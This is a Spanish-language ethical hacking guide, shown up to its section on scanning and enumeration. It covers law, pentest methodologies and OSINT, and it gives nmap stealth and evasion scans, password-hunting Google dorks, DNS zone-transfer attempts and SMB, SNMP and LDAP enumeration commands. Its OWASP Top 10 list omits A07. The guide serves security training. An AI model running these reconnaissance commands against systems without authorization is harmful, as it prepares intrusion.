Guía Completa de Hacking Ético 2026: De Principiante a Pentester Profesional

El hacking ético ya no es un tabú. Hoy es una profesión regulada, demandada y bien pagada, esencial para que empresas, gobiernos y organizaciones puedan protegerse de amenazas reales. Los pentesters son los «buenos» que atacan sistemas con autorización para encontrar vulnerabilidades antes de que lo hagan los ciberdelincuentes.

Pero el hacking ético no es improvisación ni «probar cosas a ver qué pasa». Es una disciplina profesional con metodologías, marcos legales, herramientas específicas y códigos de ética. Un pentester trabaja con autorización por escrito, dentro de un alcance definido, documenta cada paso y entrega un informe con hallazgos y recomendaciones.

Esta guía completa de hacking ético 2026 es el resultado de años documentando seguridad ofensiva en veselin.es. Está pensada para quienes quieren iniciarse en esta profesión, para profesionales que quieren consolidar conocimientos y para cualquier persona interesada en entender cómo piensan y trabajan los atacantes.

Si buscas una guía sobre cómo protegerte (defensa, amenazas, hardening), consulta nuestra Guía Completa de Ciberseguridad. Si buscas cómo atacar de forma autorizada (pentesting, herramientas, metodologías), esta guía es para ti.

¿Qué vas a aprender en esta guía?

Qué es el hacking ético y en qué se diferencia del hacking malicioso
Marco legal español y europeo aplicable al pentesting
Ruta de aprendizaje de cero a profesional
Metodologías de pentesting (PTES, OWASP, NIST, MITRE ATT&CK)
Reconocimiento y OSINT con herramientas reales
Escaneo, enumeración y análisis de vulnerabilidades
Explotación y post-explotación paso a paso
Pentesting web, de red y móvil
Distribuciones y herramientas esenciales
Cómo elaborar informes profesionales
Certificaciones y carrera profesional
Casos prácticos con laboratorios reales
FAQ con 12 preguntas frecuentes

📑 Tabla de contenidos

¿Qué es el hacking ético?
Cómo empezar en hacking ético
Marco legal y ética
Metodologías de pentesting
Reconocimiento y OSINT
Escaneo y enumeración
Análisis de vulnerabilidades
Explotación
Post-explotación
Pentesting web
Pentesting de red
Distribuciones y herramientas
Reportes y entregables
Certificaciones y carrera
Casos prácticos
Conclusión
Preguntas frecuentes

1. ¿Qué es el hacking ético?

1.1 Definición y diferencias con hacking malicioso

El hacking ético (o ethical hacking) es la práctica de identificar y explotar vulnerabilidades en sistemas informáticos con autorización explícita del propietario, con el objetivo de mejorar su seguridad antes de que lo hagan atacantes maliciosos.

Diferencias clave:

Aspecto	Hacking ético	Hacking malicioso
Autorización	Explícita por escrito	Ninguna
Objetivo	Mejorar seguridad	Beneficio propio, daño
Alcance	Definido y respetado	Sin límites
Reporte	Informe detallado al cliente	Sin reporte
Legalidad	Legal (con contrato)	Ilegal
Consecuencias	Ninguna (con autorización)	Penales
Filosofía	Ética y responsabilidad	Lucro o vandalismo

Un hacker ético trabaja como un atacante autorizado: piensa como un delincuente, actúa como un profesional y reporta como un consultor.

1.2 Terminología: pentest, red team, bug bounty

Términos relacionados que conviene distinguir:

Pentesting (penetration testing): prueba de intrusión controlada en un alcance definido.
Red team: simulación de un ataque avanzado y persistente, más amplio que un pentest.
Blue team: equipo defensivo que protege la organización.
Purple team: colaboración entre red y blue team para mejorar defensas.
Bug bounty: programa de recompensas por reportar vulnerabilidades.
Vulnerability assessment: identificación de vulnerabilidades (sin explotarlas).
Ethical hacking: término paraguas que engloba todas las prácticas anteriores.

Guía: Red Team y Blue Team: Roles y Estrategias en Ciberseguridad

1.3 Tipos de hackers por intención

White hat (sombrero blanco):

Hackers éticos.
Actúan con autorización.
Reportan vulnerabilidades.
Trabajan en empresas de seguridad, consultoras o como bug bounty hunters.

Black hat (sombrero negro):

Ciberdelincuentes.
Actúan sin autorización.
Buscan beneficio económico o causar daño.
Pueden formar parte de grupos criminales o APTs.

Grey hat (sombrero gris):

Zona intermedia.
Pueden encontrar vulnerabilidades sin autorización y luego reportarlas.
Su actividad es legalmente cuestionable.
No siempre buscan daño, pero cruzan líneas.

Script kiddies:

Sin conocimientos profundos.
Usan herramientas de otros.
Buscan notoriedad.
Peligrosos por su imprevisibilidad.

Hacktivistas:

Motivos políticos o sociales.
Ejemplos: Anonymous.

APTs (Advanced Persistent Threats):

Grupos patrocinados por estados.
Espionaje, sabotaje.
Recursos casi ilimitados.

1.4 Marco legal general

El hacking ético es legal cuando hay autorización y se respeta el alcance. Sin autorización, cualquier acceso a sistemas ajenos es delito, incluso si se hace «para ayudar».

Puntos clave:

Autorización por escrito es imprescindible.
Alcance definido: qué sistemas, qué ventana temporal.
Confidencialidad: los hallazgos no se comparten sin permiso.
No dañar: minimizar impacto en los sistemas.
No exceder el alcance: salirse puede ser delito.
Documentación: todo debe quedar por escrito.

En España, los delitos informáticos están tipificados en el Código Penal (arts. 197, 264 y ss.) y regulados también por el RGPD y la LOPDGDD.

1.5 Ética y responsabilidad

El hacking ético no es solo legal: es ético.

Principios:

Consentimiento: siempre con autorización.
Minimización del daño: no afectar la operación del cliente.
Confidencialidad: los datos encontrados son del cliente.
Honestidad: reportar todo lo encontrado, incluso lo que no se buscaba.
Responsabilidad: el pentester responde por sus acciones.
Mejora continua: la seguridad es un proceso.

Códigos de conducta:

(ISC)² Code of Ethics.
EC-Council Code of Ethics.
Offensive Security Code of Conduct.

1.6 Bug bounty programs

Los programas de bug bounty permiten a investigadores reportar vulnerabilidades a cambio de recompensas económicas.

Plataformas principales:

HackerOne.
Bugcrowd.
Intigriti.
YesWeHack.
Synack.

Ventajas para el hacker:

Ingresos variables pero potencialmente altos.
Trabajo remoto y flexible.
Reconocimiento en la comunidad.

Ventajas para las empresas:

Detección temprana de vulnerabilidades.
Coste variable (solo si hay hallazgos).
Mejora continua de la seguridad.

Programas famosos:

Google VRP.
Microsoft Bug Bounty.
Apple Security Bounty.
Facebook/Meta Bug Bounty.

1.7 Salidas profesionales

El hacking ético tiene múltiples salidas:

Pentester junior/senior en consultora.
Red teamer en empresa grande.
Bug bounty hunter freelance.
Security researcher en laboratorio.
Instructor de hacking ético.
CTF player profesional.
Auditor de seguridad.
Analista de malware.

Demanda: alta. La ciberseguridad tiene déficit global de 4 millones de profesionales (ISC² 2024).

1.8 Cómo NO empezar en hacking ético

Antes de empezar, evita estos errores:

❌ Atacar sistemas sin autorización. Es delito, punto.
❌ Usar herramientas sin entenderlas. No sabrás qué hacer si algo falla.
❌ Saltarse los fundamentos. Linux, redes y programación son imprescindibles.
❌ Creer que es solo «usar Kali». Kali es una herramienta, no un atajo.
❌ Buscar resultados rápidos. Es una carrera de fondo.
❌ Ignorar la ética y la legalidad.
❌ Rendirse en el primer obstáculo.

Regla de oro: el hacking ético es una profesión, no un hobby peligroso. Se estudia, se practica y se ejerce con responsabilidad.

2. Cómo empezar en hacking ético

Esta sección es la ruta paso a paso para pasar de cero a profesional. Requiere paciencia: no es cuestión de meses, sino de 1-3 años para alcanzar un nivel sólido.

2.1 Ruta de aprendizaje (de 0 a profesional)

Fase 1: Fundamentos (6-12 meses)

Sistemas operativos:
- Linux (obligatorio).
- Windows (necesario para pentesting corporativo).
Redes:
- Modelo OSI/TCP-IP.
- Protocolos: HTTP, DNS, DHCP, SMTP, SMB.
- Subnetting y enrutamiento.
Programación:
- Python (esencial).
- Bash scripting.
- Algo de JavaScript y PHP para pentesting web.
Bases de datos:
- SQL básico.
- NoSQL (MongoDB).

Fase 2: Seguridad básica (6-12 meses)

Conceptos de ciberseguridad.
Vulnerabilidades comunes (OWASP Top 10).
Criptografía básica.
Sistemas de autenticación.
Controles de seguridad.

Fase 3: Hacking ético (6-12 meses)

Metodologías (PTES, OWASP).
Reconocimiento y OSINT.
Escaneo y enumeración.
Análisis de vulnerabilidades.
Explotación.
Post-explotación.
Reporting.

Fase 4: Especialización (12+ meses)

Pentesting web avanzado.
Red team.
Exploit development.
Análisis de malware.
Forense.
Cloud security.
Mobile security.

Guía de Linux: Guía Completa de Linux 2026: De Principiante a Administrador Avanzado

2.2 Conocimientos previos necesarios

Antes de empezar con hacking ético, asegúrate de dominar:

Linux:

Comandos básicos y avanzados.
Permisos y usuarios.
Servicios y systemd.
Bash scripting.
Gestión de paquetes.

Redes:

Modelo OSI y TCP/IP.
Direccionamiento IP y subnetting.
Protocolos comunes (HTTP, DNS, SMB, SSH).
Análisis de tráfico con Wireshark.

Programación:

Python (nivel intermedio).
Bash.
HTML/CSS/JavaScript.
SQL.

Sistemas:

Windows Server básico.
Active Directory.
Servicios web (Nginx, Apache).

Si te falta alguna de estas bases, empieza por ahí.

2.3 Linux para hacking

Linux es el sistema operativo del hacking ético. Casi todas las herramientas están diseñadas para Linux.

Distros recomendadas:

Kali Linux: la referencia. [ENLACE: /guia-completa-kali-linux/]
Parrot OS: alternativa ligera. [ENLACE: /parrotos-6-1-lorikee-guia-completa/]
BlackArch: para usuarios de Arch. [ENLACE: /blackarch-linux-guia-completa/]
REMnux: análisis de malware.
CAINE: forense.

Comparativa: Kali Linux vs Parrot OS: Comparación y Análisis Completo en 2026 y Mejores Distribuciones Linux Para Hacking Ético: Guía Completa 2025

Configuración recomendada:

Instalar en VM o USB persistente.
Configurar snapshots.
Mantener actualizada.

Guía de USB persistente: [ENLACE: /usb-persistence-kali-blackarch/]

2.4 Redes para hacking

Necesitas entender cómo se comunican los sistemas:

Wireshark: análisis de tráfico.
tcpdump: captura por CLI.
Nmap: escaneo de redes. [ENLACE: /introduccion-a-nmap-herramienta-esencial-para-escaneo-de-redes/]
Netcat: conexiones TCP/UDP.
hping3: paquetes personalizados.

Conceptos clave:

Handshake TCP.
DNS resolution.
ARP y sus ataques.
VLANs y trunking.
VPNs y túneles.

2.5 Programación para hacking

Python es imprescindible. Lo usarás para:

Automatizar tareas.
Escribir exploits.
Parsear resultados.
Interactuar con APIs.

Recursos:

«Automate the Boring Stuff with Python» (gratis).
«Black Hat Python» (avanzado).
Documentación oficial.

Otros lenguajes útiles:

Bash: scripting en Linux.
PowerShell: pentesting Windows.
JavaScript: análisis web.
PHP: análisis de aplicaciones web.
C/C++: exploit development.
Go: herramientas modernas.

Guía: [ENLACE: /los-lenguajes-de-programacion-mas-importantes-para-la-ciberseguridad/]

2.6 Certificaciones recomendadas

Entry-level:

CompTIA Security+: fundamentos de seguridad.
CEH (Certified Ethical Hacker): introducción al hacking ético (polémica por su enfoque teórico).

Prácticas (recomendadas):

OSCP (Offensive Security Certified Professional): la más respetada. 24h de examen práctico.
OSWE: pentesting web avanzado.
OSEP: evasión de defensas.
OSED: exploit development.
PNPT (Practical Network Penetration Tester): alternativa moderna a OSCP.
eWPT, eCPPT: de eLearnSecurity/INE.
GPEN: de GIAC.

Especializadas:

CISSP: gestión de seguridad (no técnica).
CISM: gestión.
CRTP, CRTE: Active Directory.

Ruta recomendada:

CompTIA Security+ (o equivalente en conocimientos).
OSCP (la certificación clave).
Especialización según intereses.

2.7 Plataformas de práctica

La mejor forma de aprender es practicando en entornos legales.

Plataformas recomendadas:

TryHackMe: ideal para principiantes. Rutas guiadas. [ENLACE: /platforms-to-practice-pentesting/]
HackTheBox: intermedia/avanzada. Máquinas realistas.
VulnHub: máquinas descargables.
PentesterLab: pentesting web.
PortSwigger Web Security Academy: gratis, excelente para web.
OverTheWire: para practicar Linux y conceptos básicos.
PicoCTF: CTFs para principiantes.

Estrategia:

Empieza por TryHackMe (rutas guiadas).
Pasa a HackTheBox (más realista).
Practica CTFs regularmente.

2.8 Laboratorio casero

Monta tu propio laboratorio para practicar sin depender de plataformas online.

Componentes:

Hipervisor: Proxmox VE, VMware, VirtualBox.
Firewall: pfSense, OPNsense.
Máquinas objetivo: Metasploitable, DVWA, OWASP Juice Shop.
Máquinas atacantes: Kali, Parrot.

Guía completa: [ENLACE: /mi-laboratorio-de-ciberseguridad-profesional-con-proxmox-y-pfsense-guia-paso-a-paso-2026/]

Ventajas del laboratorio casero:

Control total.
Sin límites de tiempo.
Puedes romper cosas sin consecuencias.
Aprendes configuración real.

2.9 Errores comunes al empezar

Saltarse los fundamentos. Sin Linux, redes y programación, no hay hacking ético.
Solo ver vídeos. Hay que practicar.
No entender las herramientas. Saber usar > saber que existe.
Frustrarse rápido. Es normal no entender algo al principio.
No documentar. Llevar un diario de aprendizaje ayuda muchísimo.
No unirse a comunidades. Otros han pasado por lo mismo.
Intentar atacar sistemas reales sin autorización. Delito.

2.10 Cuánto tiempo lleva

Realista:

Fundamentos: 6-12 meses.
Hacking ético básico: 6-12 meses.
Nivel profesional (OSCP): 1-2 años.
Especialización: 2-4 años.

Factores que influyen:

Horas diarias de práctica.
Base previa (redes, programación).
Método (autodidacta, cursos, bootcamp).
Objetivo (junior vs senior).

Clave: constancia. 1 hora al día durante 2 años vale más que un curso intensivo de 3 meses.

3. Marco legal y ética

Esta sección es crítica. Un hacker ético sin conocimientos legales es un peligro para sí mismo y para sus clientes.

3.1 Legislación en España

Código Penal español (delitos informáticos):

Art. 197: descubrimiento y revelación de secretos. Acceder sin autorización a datos personales → prisión de 1 a 4 años.
Art. 197 bis: acceso ilegal a sistemas informáticos.
Art. 264: daños informáticos. Borrar, alterar, suprimir datos → prisión de 6 meses a 3 años.
Art. 264 bis: ataques a sistemas críticos.
Art. 248: estafa informática.

Conclusión: cualquier acceso no autorizado a un sistema es delito, aunque no se cause daño.

3.2 RGPD y su impacto

El RGPD (Reglamento General de Protección de Datos) es clave en pentesting:

Los pentesters acceden a datos personales durante sus pruebas.
Deben cumplir el RGPD como encargados del tratamiento.
Deben firmar contratos de confidencialidad.
Los datos encontrados no se pueden usar para otros fines.
Los hallazgos se reportan al cliente, no a terceros.

LOPDGDD complementa al RGPD en España.

Guía: [ENLACE: /privacidad-de-los-datos-en-la-era-digital/]

3.3 Reglas de engagement (RoE)

Las Rules of Engagement (RoE) son el documento que define las reglas del pentest:

Alcance: qué sistemas/IPs/dominios están incluidos.
Exclusiones: qué NO se puede tocar.
Ventana temporal: cuándo se puede atacar.
Tipos de pruebas: qué técnicas están permitidas.
Contactos de emergencia: a quién llamar si algo se rompe.
Manejo de datos: cómo tratar la información encontrada.
Confidencialidad: NDAs firmados.
Restricciones: no DoS, no ingeniería social real, etc.

Sin RoE firmado, no hay pentest legal.

3.4 Autorización y contrato

Elementos imprescindibles:

Contrato de servicios con:
- Alcance detallado.
- Metodología.
- Plazos.
- Precio.
- Responsabilidades.
- Limitación de responsabilidad.
NDA (Non-Disclosure Agreement).
Autorización escrita del propietario del sistema.
Aprobación del cliente para técnicas específicas.
Contacto técnico disponible 24/7 durante las pruebas.

Regla: si no está por escrito, no se hace.

3.5 Scope y alcance

El scope define qué se puede atacar. Puede ser:

Black box: sin información previa (simula atacante externo).
Grey box: información parcial (usuario, IP).
White box: información completa (código, arquitectura).

Ejemplo de scope:

Dominios: *.example.com
IPs: 192.168.1.0/24, 10.0.0.0/24
Excluidos: producción (nunca en horario laboral)
Ventana: 22:00 - 06:00
Restricciones: no DoS, no borrado de datos

Exceder el scope puede ser delito y rompe la relación con el cliente.

3.6 Confidencialidad y reportes

Todo hallazgo se reporta al cliente.
No se comparte con terceros sin permiso.
No se publica sin autorización.
Los datos sensibles encontrados se minimizan y se tratan con cuidado.
Los reportes son confidenciales.

Responsabilidad post-pentest: si el cliente no remedia, no es tu problema (pero puedes ofrecer seguimiento).

3.7 Ética profesional

Más allá de la legalidad, el hacking ético tiene código ético:

Actuar en beneficio del cliente.
No aprovecharse de la información.
No exceder el alcance.
Respetar la privacidad.
Ser honesto en los reportes.
Mantener la confidencialidad.
Actualizarse continuamente.
Compartir conocimiento con la comunidad.

Códigos de referencia:

(ISC)² Code of Ethics.
EC-Council Code of Ethics.
Offensive Security Code of Conduct.

3.8 Casos famosos y sus consecuencias

Caso Aaron Swartz (2011-2013):

Descargó artículos académicos de JSTOR usando la red del MIT.
Enfrentó cargos federales (35 años de prisión).
Se suicidó en 2013.
Consecuencia: reforma de la Computer Fraud and Abuse Act en EE.UU.

Caso Gary McKinnon (2002):

Hackeó 97 ordenadores del gobierno de EE.UU.
Alegó buscar información sobre OVNIs.
Evitó la extradición a EE.UU. por problemas de salud.
Consecuencia: debate sobre extradiciones.

Caso Marcus Hutchins (2017):

Detuvo el ransomware WannaCry.
Fue arrestado por crear malware en el pasado (Kronos).
Condenado a libertad condicional.
Consecuencia: héroes pueden tener pasados oscuros.

Lecciones:

Incluso acciones «buenas» pueden ser delito sin autorización.
La ley es más estricta de lo que parece.
Documentar y autorizar todo es imprescindible.

3.9 Ética en bug bounty

Los programas de bug bounty también tienen reglas:

Respetar el scope del programa.
No acceder a datos de otros usuarios más allá de lo mínimo.
No divulgar vulnerabilidades sin permiso (responsible disclosure).
Reportar con detalle y sin exagerar.
No extorsionar al programa con amenazas de publicación.

Responsible disclosure: dar tiempo al proveedor (90 días típico) antes de publicar.

3.10 Formación legal continua

El marco legal cambia. Un buen pentester debe:

Conocer la legislación vigente.
Actualizarse ante cambios normativos.
Consultar abogados en casos dudosos.
Formarse en RGPD y protección de datos.
Documentar todo lo que hace.

Recomendación: incluir siempre una cláusula de «buena fe» y respeto al alcance en los contratos.

4. Metodologías de pentesting

Un pentesting profesional no es improvisación. Sigue metodologías probadas que garantizan cobertura, repetibilidad y calidad. Esta sección repasa los frameworks más importantes.

4.1 ¿Por qué usar metodologías?

Ventajas:

Cobertura completa: no olvidas áreas críticas.
Repetibilidad: puedes reproducir resultados.
Calidad: estándares reconocidos por la industria.
Comunicación: el cliente entiende qué se ha hecho.
Defensa legal: demuestras rigor profesional.

Sin metodología: improvisas, olvidas cosas, no puedes defender tu trabajo.

4.2 PTES (Penetration Testing Execution Standard)

PTES es uno de los estándares más usados. Define 7 fases:

Pre-engagement Interactions: definir alcance, objetivos, RoE.
Intelligence Gathering: OSINT, reconocimiento.
Threat Modeling: identificar amenazas relevantes.
Vulnerability Analysis: identificar vulnerabilidades.
Exploitation: explotar vulnerabilidades.
Post-Exploitation: escalada, movimiento lateral, persistencia.
Reporting: documentar todo.

Web oficial: http://www.pentest-standard.org/

Ventajas:

Muy detallado.
Cubre aspectos técnicos y de gestión.
Estándar de facto en muchas consultoras.

4.3 OWASP Testing Guide

OWASP (Open Web Application Security Project) tiene una guía específica para pentesting web.

Fases:

Information Gathering.
Configuration and Deployment Management Testing.
Identity Management Testing.
Authentication Testing.
Authorization Testing.
Session Management Testing.
Input Validation Testing.
Error Handling.
Cryptography.
Business Logic Testing.
Client-Side Testing.

OWASP Top 10: las 10 vulnerabilidades web más críticas.

A01: Broken Access Control.
A02: Cryptographic Failures.
A03: Injection.
A04: Insecure Design.
A05: Security Misconfiguration.
A06: Vulnerable and Outdated Components.
A08: Software and Data Integrity Failures.
A09: Security Logging and Monitoring Failures.
A10: Server-Side Request Forgery (SSRF).

Web: https://owasp.org/

Ventajas:

La referencia para pentesting web.
Actualizada regularmente.
Comunidad enorme.

4.4 NIST SP 800-115

NIST SP 800-115 es la guía del NIST para Technical Guide to Information Security Testing and Assessment.

Fases:

Planning.
Discovery.
Attack.
Reporting.

Ventajas:

Enfoque gubernamental/empresarial.
Muy riguroso.
Bueno para cumplimiento normativo.

Web: https://csrc.nist.gov/publications/detail/sp/800-115/final

4.5 MITRE ATT&CK

MITRE ATT&CK es una base de conocimiento de tácticas y técnicas de atacantes observadas en el mundo real.

Estructura:

Tácticas: objetivos (11 tácticas).
Técnicas: cómo se logran (200+ técnicas).
Sub-técnicas: detalles específicos.
Procedimientos: implementaciones concretas.

Tácticas principales:

Reconnaissance.
Resource Development.
Initial Access.
Execution.
Persistence.
Privilege Escalation.
Defense Evasion.
Credential Access.
Discovery.
Lateral Movement.
Collection.
Command and Control.
Exfiltration.
Impact.

Uso en pentesting:

Mapear técnicas encontradas.
Diseñar pruebas específicas.
Evaluar detección de defensas.

Guía: [ENLACE: /todo-sobre-mitre-attck-que-es-y-como-aplicarlo-en-ciberseguridad/]

Web: https://attack.mitre.org/

4.6 Otras metodologías

OSSTMM (Open Source Security Testing Methodology Manual):

Muy riguroso, con métricas.
Menos popular en la práctica.

ISSAF (Information Systems Security Assessment Framework):

Framework detallado.
Menos usado hoy.

CREST:

Estándar británico.
Muy usado en Reino Unido.

TIBER-EU:

Framework europeo para threat intelligence-based ethical red teaming.
Usado por bancos y entidades financieras.

4.7 Fases de un pentest profesional

Independientemente de la metodología, un pentest sigue estas fases:

Fase 1: Pre-engagement

Definir alcance.
Firmar contratos y NDAs.
Establecer RoE.
Planificar plazos.

Fase 2: Reconocimiento

OSINT.
Enumeración de dominios.
Identificación de tecnologías.
Búsqueda de información filtrada.

Fase 3: Escaneo y enumeración

Escaneo de puertos.
Detección de servicios.
Enumeración específica.

Fase 4: Análisis de vulnerabilidades

Escaneo automatizado.
Verificación manual.
Priorización.

Fase 5: Explotación

Intentar explotar vulnerabilidades.
Documentar evidencias.
Obtener acceso inicial.

Fase 6: Post-explotación

Escalada de privilegios.
Movimiento lateral.
Persistencia.
Exfiltración (simulada).

Fase 7: Reporting

Documentar hallazgos.
Clasificar por criticidad.
Recomendaciones.
Presentación al cliente.

Fase 8: Retesting

Verificar remediaciones.
Confirmar cierre de hallazgos.

4.8 Tipos de pentesting

Por información previa:

Black box: sin información. Simula atacante externo.
Grey box: información parcial (usuario, IP).
White box: información completa (código, arquitectura).

Por objetivo:

External pentest: desde internet.
Internal pentest: desde dentro de la red.
Web application pentest.
Mobile application pentest.
API pentest.
Cloud pentest.
IoT pentest.
Social engineering.
Physical pentest.

Por duración:

Puntual: 1-2 semanas.
Continuo: red teaming, meses.

4.9 Red team vs pentest

Aunque se confunden, son distintos:

Aspecto	Pentest	Red Team
Objetivo	Encontrar vulnerabilidades	Evaluar detección y respuesta
Alcance	Sistemas específicos	Organización completa
Duración	1-4 semanas	Meses
Sigilo	Limitado	Máximo
Equipo	1-3 personas	3-10 personas
Técnicas	Amplio rango	APT-like
Reporte	Vulnerabilidades y recomendaciones	Capacidad de detección y respuesta

Guía: [ENLACE: /red-team-y-blue-team-roles-y-estrategias-en-ciberseguridad/]

4.10 Documentación durante el pentest

Registrar todo durante el pentest:

Comandos ejecutados.
Salidas obtenidas.
Capturas de pantalla.
Fechas y horas.
Herramientas usadas.
Hallazgos y evidencias.
Intentos fallidos (también sirven).

Herramientas:

Obsidian / Notion para notas.
CherryTree para notas estructuradas.
Screenshots con timestamps.
Scripts de logging.

Regla: si no está documentado, no existe para el cliente.

5. Reconocimiento y OSINT

El reconocimiento es la primera fase técnica. Consiste en recopilar toda la información posible sobre el objetivo sin interactuar directamente (o interactuando lo mínimo).

5.1 ¿Qué es OSINT?

OSINT (Open Source Intelligence) es la inteligencia obtenida de fuentes públicas:

Webs y blogs.
Redes sociales.
Directorios públicos.
Documentos filtrados.
DNS y WHOIS.
Google, Bing, Shodan.
GitHub, Pastebin.
Foros.

Regla: si es público, se puede usar. Pero hay que respetar la privacidad (no todo lo público es ético de usar).

5.2 Reconocimiento pasivo vs activo

Pasivo:

Sin contacto directo con el objetivo.
Solo fuentes públicas.
Difícil de detectar.
Ejemplos: WHOIS, DNS público, Google, Shodan.

Activo:

Interacción con el objetivo.
Puede ser detectado.
Ejemplos: ping, DNS queries, escaneo de puertos.

Recomendación: empezar siempre por pasivo.

5.3 Herramientas de OSINT

theHarvester:

Recopila emails, subdominios, hosts.
Múltiples fuentes (Google, Bing, Shodan…).

theHarvester -d example.com -b all

Maltego:

Interfaz gráfica para análisis de relaciones.
Ideal para OSINT visual.
Versión Community gratuita.

Recon-ng:

Framework modular para OSINT.
Similar a Metasploit pero para reconocimiento.

SpiderFoot:

Automatiza OSINT.
200+ módulos.

Shodan:

Buscador de dispositivos conectados.
Encuentra servicios expuestos.

shodan search "apache 2.4"

Censys:

Similar a Shodan.
Foco en certificados y servicios.

theHarvester, Sublist3r, Amass: para subdominios.

Have I Been Pwned: para ver filtraciones.

5.4 Análisis de dominios y subdominios

Objetivo: descubrir todos los activos de un dominio.

Técnicas:

WHOIS:

whois example.com

DNS enumeration:

dig example.com ANY
dig +short A example.com
dig +short MX example.com
dig +short TXT example.com

Subdomain bruteforce:

# Con Sublist3r
sublist3r -d example.com

# Con Amass
amass enum -d example.com

# Con Gobuster
gobuster dns -d example.com -w wordlist.txt

Certificate Transparency:

https://crt.sh/
Busca certificados emitidos → revela subdominios.

VirusTotal:

https://www.virustotal.com/
Analiza dominios y subdominios.

Wayback Machine:

https://web.archive.org/
Versiones antiguas del sitio.

Output esperado:

Lista de subdominios.
IPs asociadas.
Servicios expuestos.

Guía: [ENLACE: /como-investigar-el-historial-de-un-dominio-herramientas-y-metodos/]

5.5 Google dorks (Google Hacking)

Los Google dorks son consultas avanzadas que revelan información sensible indexada.

Operadores útiles:

site: — limita a un dominio.
filetype: — filtra por tipo de archivo.
inurl: — busca en la URL.
intitle: — busca en el título.
intext: — busca en el cuerpo.
cache: — versión en caché.

Ejemplos:

site:example.com filetype:pdf
site:example.com inurl:admin
site:example.com intitle:"index of"
site:example.com intext:"password"
filetype:sql "insert into" "password"

Google Hacking Database (GHDB):

https://www.exploit-db.com/google-hacking-database
Miles de dorks categorizados.

⚠️ Advertencia: usar dorks contra un objetivo sin autorización puede ser delito. Solo en scope autorizado.

5.6 Análisis de metadatos

Los metadatos de documentos revelan mucha información:

Autor.
Software usado.
Fechas de creación/modificación.
Rutas internas.
Comentarios ocultos.

Herramientas:

ExifTool: metadatos de imágenes y documentos.

exiftool documento.pdf

Metagoofil: automatiza búsqueda y análisis de metadatos.

Ejemplo: un PDF publicado en la web puede revelar nombres de empleados, versiones de software y rutas internas.

5.7 Búsqueda en filtraciones

Comprueba si las credenciales del objetivo están filtradas:

Have I Been Pwned: https://haveibeenpwned.com/
DeHashed: https://dehashed.com/ (pago).
LeakCheck: https://leakcheck.io/ (pago).
IntelX: https://intelx.io/

Utilidad: si hay credenciales filtradas, puede ser un vector de entrada (verificar con autorización).

5.8 Ingeniería social y OSINT

El OSINT es la base de la ingeniería social:

Nombres de empleados.
Puestos.
Tecnologías.
Proveedores.
Eventos.
Aficiones (para pretexting).

Fuentes:

LinkedIn.
Twitter/X.
Instagram.
Facebook.
GitHub.
Webs corporativas.

Ejemplo: un empleado publica una foto con su badge de acceso → info sobre el sistema físico.

Guía: [ENLACE: /ataques-de-ingenieria-social-tecnicas-y-como-protegerse/] y [ENLACE: /como-identificar-y-protegerte-de-los-scammers-en-linkedin/]

5.9 Automatización del reconocimiento

Frameworks todo-en-uno:

Recon-ng: modular, tipo Metasploit.
SpiderFoot: 200+ módulos.
Photon: crawling y OSINT.
Sn1per: automatiza reconocimiento.

Workflow típico:

# 1. Subdominios
amass enum -d example.com -o subs.txt

# 2. Resolver IPs
cat subs.txt | httpx -o live.txt

# 3. Screenshots
cat live.txt | aquatone

# 4. Escaneo básico
nmap -sV -iL live.txt -oA scan

# 5. Análisis web
whatweb -i live.txt

5.10 Documentación del reconocimiento

Registrar:

Subdominios encontrados.
IPs.
Servicios expuestos.
Tecnologías.
Emails.
Empleados (público).
Filtraciones.
Metadatos.

Organizar en:

Tabla de activos.
Diagrama de red (si es posible).
Notas por fuente.

Todo debe quedar documentado para el reporte final.

6. Escaneo y enumeración

Tras el reconocimiento, pasamos a interactuar con el objetivo. Escaneamos para descubrir puertos abiertos, servicios, versiones y posibles vulnerabilidades.

6.1 Escaneo de puertos con Nmap

Nmap es la herramienta estándar para escaneo de red.

Tipos de escaneo:

TCP Connect (-sT): completo, ruidoso.
TCP SYN (-sS): semiabierto, sigiloso (requiere root).
UDP (-sU): lento, para servicios UDP.
Null, FIN, Xmas (-sN, -sF, -sX): evasión de firewalls.

Comandos esenciales:

# Escaneo básico
nmap 192.168.1.1

# Escaneo de puertos específicos
nmap -p 80,443,8080 192.168.1.1

# Todos los puertos
nmap -p- 192.168.1.1

# Detección de servicios y versiones
nmap -sV 192.168.1.1

# Detección de SO
nmap -O 192.168.1.1

# Scripts NSE
nmap -sC 192.168.1.1

# Escaneo completo
nmap -sV -sC -O -p- 192.168.1.1

# Escaneo rápido
nmap -T4 -F 192.168.1.1

# Escaneo sigiloso
nmap -sS -T2 192.168.1.1

# Guardar output
nmap -sV -oA scan 192.168.1.0/24

Nmap Scripting Engine (NSE):

+600 scripts.
Detección de vulnerabilidades, enumeración, explotación básica.
nmap --script vuln 192.168.1.1

Categorías de scripts:

auth — autenticación.
broadcast — descubrimiento.
brute — fuerza bruta.
default — seguros.
discovery — enumeración.
dos — DoS.
exploit — explotación.
fuzzer — fuzzing.
intrusive — intrusivos.
malware — detección de malware.
safe — seguros.
vuln — vulnerabilidades.

Guías:

[ENLACE: /introduccion-a-nmap-herramienta-esencial-para-escaneo-de-redes/]
[ENLACE: /comparativa-entre-nmap-y-zenmap/]
[ENLACE: /como-comprobar-la-seguridad-de-tu-red-local-con-nmap/]

6.2 Enumeración de servicios

Una vez identificados los puertos, hay que enumerar cada servicio.

HTTP/HTTPS (80, 443):

whatweb http://example.com
nikto -h http://example.com
gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt
feroxbuster -u http://example.com

SMB (139, 445):

enum4linux -a 192.168.1.1
smbclient -L //192.168.1.1
smbmap -H 192.168.1.1

SNMP (161):

snmpwalk -v2c -c public 192.168.1.1
onesixtyone -c community.txt 192.168.1.1

DNS (53):

dig axfr @ns1.example.com example.com
dnsrecon -d example.com

LDAP (389, 636):

ldapsearch -x -H ldap://192.168.1.1 -b "dc=example,dc=com"

FTP (21):

ftp 192.168.1.1
# Probar anonymous

SSH (22):

ssh-keyscan 192.168.1.1
# Enumerar versiones
nmap -p22 --script ssh-auth-methods 192.168.1.1

MySQL/MariaDB (3306):

nmap -p3306 --script mysql-info 192.168.1.1

6.3 Enumeración de directorios web

Gobuster:

gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://example.com -w wordlist.txt -x php,html,txt

Feroxbuster:

feroxbuster -u http://example.com -w wordlist.txt

Dirb:

dirb http://example.com

Wordlists:

/usr/share/wordlists/dirb/
/usr/share/wordlists/dirbuster/
SecLists: la mejor colección.

